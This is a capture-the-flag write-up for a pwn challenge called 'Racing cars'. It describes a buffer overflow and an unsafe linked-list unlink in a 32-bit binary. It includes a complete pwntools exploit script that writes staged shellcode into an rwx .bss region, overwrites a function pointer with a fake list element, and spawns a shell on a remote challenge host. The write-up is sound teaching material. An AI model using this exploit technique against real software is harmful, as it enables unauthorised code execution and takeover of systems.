pwn
Racing cars
Author: d1g174l_f0rtr355
Description: Welcome to the Incredibles! Win the race and get the flag!
For this challenge, we got first blood! Whoop whoop!
We are given a binary. When we run it, we are asked to first choose a car from the list, fill our name, occupation and address. It looks like this:
➜ racing_cars ./racing_cars
==================================
Welcome to the Incredibles
==================================
To compete in the race you need to first buy a car!
The price of each car is given below:
1. Lexus RC F GT3 (Emil Frey Racing): 485470795
2. Porsche 911 RSR (991): 1890391922
3. Mercedes-AMG GT3: 1382811152
4. Toyota FT-1 Vision Gran Turismo: 2058719150
5. Renault Sport R.S.01 GT3: 1435867700
Choose your car: 1
Enter your details before you begin the race
Name: maritio_o
Occupation: foo
Address: bar
Sorry you lost the race! Try again later :)
We started by reversing the binary, and it was soon clear that a linked list was used to hold the information we input after choosing a car. This leads us to the unsafe-unlink vulnerability. There is no validation on the linked list element during unlink. Unlinking the middle element is done in the end of the main function.
When choosing your car, 0x32 (50) bytes of your choice is stored in a buffer that lies in the .bss memory region. It was a little suspicious, because if the area is not writeable and executable, this challenge could be quite tricky. We checked the permissions, and indeed the memory region was rwx. This means that we can put shellcode there!
We also found a buffer overflow vulnerability in the function reading input from stdin for name, occupation, and address. It allowed reading 0x100 (256) bytes of data into a buffer of size 0x20 within the linked list element. The linked list elements have the following structure:
struct __packed struct1
{
int32_t idx;
char buf[0x20];
struct struct1* next;
struct struct1* prev;
};
Another thing we noticed was that the very last thing that happens before the return of the main function is a call to a function pointer.
So summed up, this is the code flow:
- Save chosen car input to buffer in .bss memory
- Ask for inputs about information and save in linked list
- Unlink
- Call function pointer
Having a rwx memory region we can write to, an unsafe-unlink and buffer overflow vulnerability, we can create a plan. The plan is to put shellcode into the .bss memory region, then use the buffer overflow to set fake next and previous elements into the middle list element. When the code unlinks the middle element, we manipulate the function pointer to point to the .bss memory region and our shellcode is run when the function pointer is called!
This sounds easy, but we left out a really tricky part… This is hella confusing. Thing is, the unlinking function does the following. It puts the current element’s next element into the previous’ next element. Oh lord… Just read the code below. Or google how linked lists and unlinking works. This is impossible to write well. Lol.
{
l_struct->prev->next = l_struct->next;
l_struct->next->prev = l_struct->prev; // this is the one we abuse
}
Since there is no validation during unlink, we can assign content to a memory address. To do this, we set the following structure to list element:
struct __packed struct1
{
0000 int32_t idx;
0004 char buf[0x20];
0024 struct struct1* next; // address to function pointer - offset to prev
0028 struct struct1* prev; // address to buffer in .bss
};
The reason behind substracting the offset of prev
in the fake next-element is
that when unlinking, struct->fake_next->prev
points to the 0x28th byte in the
fake next-element, but we want it to point to the beginning of the fake
next-element. Our fake next-element doesn’t even have a prev, it only contains
the address to the function pointer.
Hope that was clear. Hehe.
Okay, so how do we do this? I wrote these steps which are mirrored in my solution script:
- Choose car, but send shellcode that is less than 0x32 (50) bytes. If the shellcode is to long, the linked list element messes with it. Therefore, our shellcode which is run at the very end of the main function asks for more shellcode which is immediately executed (clever!)
- Send random input for
Name
andOccupation
- Use unsafe-unlink as described above as the input to
Address
because this one is in the middle of the linked list. The unsafe-unlink vulnerability does not work if one cannot change both the element before and after, also it is the only one that is unlinked - When unlinking is done, the fake next-element which now is an address to our function pointer gets the content of our fake prev-element which contains the shellcode
- We don’t really need to do more, calling the function pointer is next in line in the code and our shellcode should run!
Here is the solution script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 65.2.136.80 --port 32766 racing_cars
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('racing_cars')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '65.2.136.80'
port = int(args.PORT or 32766)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments
addr_function_pointer = 0x804c044
addr_buf = 0x804c080
io = start()
# .bss rwx memory
# shellcode = p8(0xcc) # int3, breakpoint instruction to verify shellcode
shellcode = asm(shellcraft.linux.read(0, addr_buf, 0x100))
io.sendlineafter("Choose your car: ", shellcode)
# index 0
payload = "Blip"
io.sendlineafter("Name: ", payload)
# index 2
payload = "Blop"
io.sendlineafter("Occupation: ", payload)
# index 1
# overwrite with fake next and prev to assign the address of our shellcode
# to the function pointer
prev_offset = 0x28
next_element = addr_function_pointer - prev_offset
prev_element = addr_buf
# create linked list element
payload = b"A" * 0x20
payload += p32(next_element)
payload += p32(prev_element)
io.sendlineafter("Address: ", payload)
# shellcode in .bss asks for more shellcode
time.sleep(0.5)
shell = asm(shellcraft.sh())
io.sendline(p8(0x90) * 0x20 + shell)
io.interactive()